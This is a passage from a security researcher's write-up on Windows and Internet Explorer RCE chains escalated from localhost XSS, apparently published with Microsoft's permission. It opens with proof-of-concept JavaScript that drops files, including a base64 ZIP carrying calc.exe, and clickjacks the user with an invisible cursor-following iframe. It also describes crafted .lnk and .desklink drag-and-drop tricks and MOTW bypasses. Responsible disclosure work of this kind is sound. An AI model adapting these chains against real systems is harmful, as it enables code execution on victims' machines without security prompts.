            setTimeout(function(){\n\

                top.location = location + "#step2" ;\n\

            },1000)\n\

        }else if(location.hash != "#step3"){\n\

            location.hash = "#step3"\n\

            a=window.open(location)\n\

            setTimeout(function(){\n\

                a.close();\n\

                document.documentElement.attachEvent("onmousemove", function(e) {\n\

                    d1.style.left = e.clientX - 5 + "px";\n\

                    d1.style.top =   e.clientY - 5 + "px";\n\

                })\n\

            },1000)\n\

        }else{\n\



        }\n\

        <\/script>\n\

        <DIV id=d1 style="opacity:0; POSITION: absolute; LEFT: 0px; Z-INDEX: 50; TOP: 0px">\n\

        <DIV id=d2 style="MARGIN-TOP: -30px; MARGIN-LEFT: -50px">\n\

        <iframe style="OVERFLOW: hidden; HEIGHT: 40px; WIDTH: 60px"  src="./aaa_temp_zip2.html" scrolling="no"></ifra

        </DIV>\n\

        </DIV>'

    blob = new Blob([data], { type: 'text/html' });

    link = document.createElement('a');

    link.href = URL.createObjectURL(blob);

    link.download = 'aaa_temp_zip.html';

    link.click();

    URL.revokeObjectURL(link.href);

    setTimeout(function(){

        close();

    },3500)

}

dropHTML2 = function(){

    data = '<iframe width="500" height="500" src="aaa_temp_zip.zip" scrolling="no" style="position:absolute;margin-top

    blob = new Blob([data], { type: 'text/html' });

    link = document.createElement('a');

    link.href = URL.createObjectURL(blob);

    link.download = 'aaa_temp_zip2.html';

    link.click();

    URL.revokeObjectURL(link.href);

        setTimeout(function(){

            close();

        },3500)

    }

dropZIP = function(){

    data = "UEsDBBQAAAAIADhhh08iXFDfbxcAAABsAAAIAAAAY2FsYy5leGXtHAdUI0V0EhIEjkAsaDzlbolRsQDhQD0UlRwQ

    link2 = document.createElement('a');

    link2.href = "data:text/plain;base64," + data;

    link2.download = 'aaa_temp_zip.zip';

    link2.click();

    setTimeout(function(){

        close();

    },4000)

}

runHtml = function(usr){

    setTimeout(function(){

        open("//localhost//\\\\localhost\\c:\\users\\"+usr+"\\downloads\\aaa_temp_zip.html","test");

        open("//localhost//c:/users/"+usr+"/downloads/aaa_temp_zip.html","test");

    },500)



}

if(location.hash == "#step2"){

    dropHTML1();

}else if(location.hash == "#step3"){

    dropHTML2();

}else if(location.hash == "#step4"){

    dropZIP();

}else{

    runEdge();

    setTimeout("getUsername()", 6000);

}

</script>

What happens in the code:

An invisible <div>  with absolute positioning is created.

When the mouse moves, <div>  follows the cursor.

Inside** <div>  is <iframe>  containing a folder or a ZIP archive.

When the user clicks anywhere on the page, the click actually hits the invisible <iframe> , and if
there was a file there—it executed.

Conclusion for this chain:

The exploit uses a base64 representation of a ZIP file containing the malicious file. When decoded,
it results in an archive containing the calc.exe  file.

Arbitrary command execution without any security prompts.

Requires the ability to conduct an XSS attack on an already installed vulnerable web application
on the local host.

Requires a double mouse click anywhere on the page to execute the file.

2. RCE via clickjacking. Type 2

Using the built-in debugger console, I inspected the code of the <iframe>  element displaying the
file list. Unexpectedly, I discovered that instead of a regular HTML document, inside there is an
ActiveX object with CLSID** 8856F961-340A-11D0-A96B-00C04FD705A2  (ProgID: Shell.Explorer.2 ).



I was even more surprised when I decided to edit this object—many different parameters and
settings became visible:

The <PARAM name="SingleClick">  parameter immediately caught my attention. I assumed this setting
would allow me to launch files using just one click instead of two. However, initial tests showed



that reducing the number of clicks to one was not that simple. When launching the ActiveX
component from a local file, an alert appears requiring a separate confirmation:

Attack demonstration



Conclusion:

Two clicks are required to complete RCE, but following a different scenario:

The first click enables blocked active content.

The second click executes the file.

Theoretically, if the security prompt is bypassed, user interaction could be reduced to a single
click.

3. RCE via drag and drop. Type 1

Besides clicking on files, users can drag files between windows. Another discovery of mine: if you
drag any file onto a specially crafted .lnk  (shortcut) file, the program launches, but the MOTW
check is not performed, and the security confirmation dialog box, like the one in the example
below, does not appear.

For example, the security prompt during a normal launch of .lnk  with a MOTW tag looks like this:



Chain logic

The malicious page opens at http://localhost hosting an application vulnerable to XSS
(legitimate technique).

The XSS attack launches an Edge window with the address of its location.

The Edge window saves exploit.zip  to ~/Downloads/  with a MOTW tag. Inside the archive there is
a specially crafted .lnk file.

The Internet Explorer window redirects the page from http://localhost to the locally saved ZIP
file, using the vulnerability from Bug 1.

The user needs to drag any file (for example, from the desktop) onto .lnk  inside the ZIP archive,
displayed in the browser via <iframe> . As a result, the command specified in the shortcut is
executed.

Example of creating a malicious .lnk file: The Target field contains the command executed upon
launch (for example, C:\windows\System32\cmd.exe /c calc.exe ).

http://localhost%20hosting/
http://localhost%20to/




Attack demonstration

Conclusion for this chain:

It does not require clicking on security prompts.

The MOTW protection mechanism can be bypassed.

4. RCE via drag and drop. Type 2

Windows has several built-in file extensions that handle object drag-and-drop:

.mapimail: opens Outlook and uses the dragged file as an attachment for a new email.

.mydocs: creates a shortcut to the dragged file in the ~/Documents/  folder.

.desklink: creates a shortcut to the dragged file on** ~/Desktop/ .

.zfsendtotarget: creates an archive containing the dragged file.

If you drag any file onto a file with the .desklink  extension (for example, in an Explorer window or a
browser <iframe> ), an .lnk  shortcut pointing to the dragged file will be created on the desktop. But
when you drag an .lnk  file to the .desklink  file it will just place a copy of .lnk  onto desktop. At the
same time, you can set an arbitrary icon and name—for example, “This PC” with a computer icon
or “Secret photos” with a folder icon.

[image: image]

Chain logic
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The malicious page opens at http://localhost hosting an application vulnerable to XSS
(legitimate technique).

The XSS payload launches an Edge window, pointing to its location.

The Edge window saves the files proxy.html  and exploit.zip  to ~/Downloads/  with a MOTW tag.
The exploit.zip  archive contains the files .desklink  and .lnk .

The Internet Explorer window redirects the page from http://localhost to the locally saved
HTML file, using the vulnerability from Bug 1. The HTML file displays the contents of the ZIP
archive via <iframe> .

When the user drags the malicious .lnk  file (from the archive) onto the .desklink  file (also from
the archive), a copy of the shortcut is created on the desktop.

Now the user only has to launch this shortcut from the desktop.

Attack visualization

Why am I showing this example? With a slight modification, it also leads to a MOTW bypass.

Initially, I tested this technique using a local SMB server. That is when I noticed: when copying files
not from a ZIP archive, but directly from an SMB server by dragging them onto .desklink , no
additional confirmations appeared before launching these files from the desktop. Presumably, this
behavior occurs because a file inside a ZIP archive inherits the MOTW from the archive, but when
copying from an SMB server, the MOTW is only applied after the copying is complete. The non-
standard copying method (drag and drop) disrupts this logic, and the MOTW is not set.

Conclusion for this technique:

http://localhost%20hosting/
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It allows us to write a malicious shortcut to the desktop with an arbitrary icon and name.

It does not require clicking through security pop-ups.

It allows us to bypass MOTW when copying .lnk  from an SMB server.

It requires additional interaction—launching the file from the desktop, which looks quite
realistic given a plausible icon and name.

Final remarks

The main issue that would allow attackers to open a local file using JavaScript at http://localhost
was fixed in September 2024, while I was still looking for other vulnerabilities to build chains.

In my case, the research started with an XSS attack in a desktop application that allowed attackers
to execute JavaScript from http://localhost (the origin). I also discovered the possibility of
conducting XSS attacks in other desktop applications. In these cases, the injected JavaScript code
was executed from file:///  (the origin). This condition means that some of the payloads described
in this article, which are considered “features”, still allow threat actors to escalate XSS attacks in
vulnerable applications to RCE.

Article published with Microsoft’s permission.
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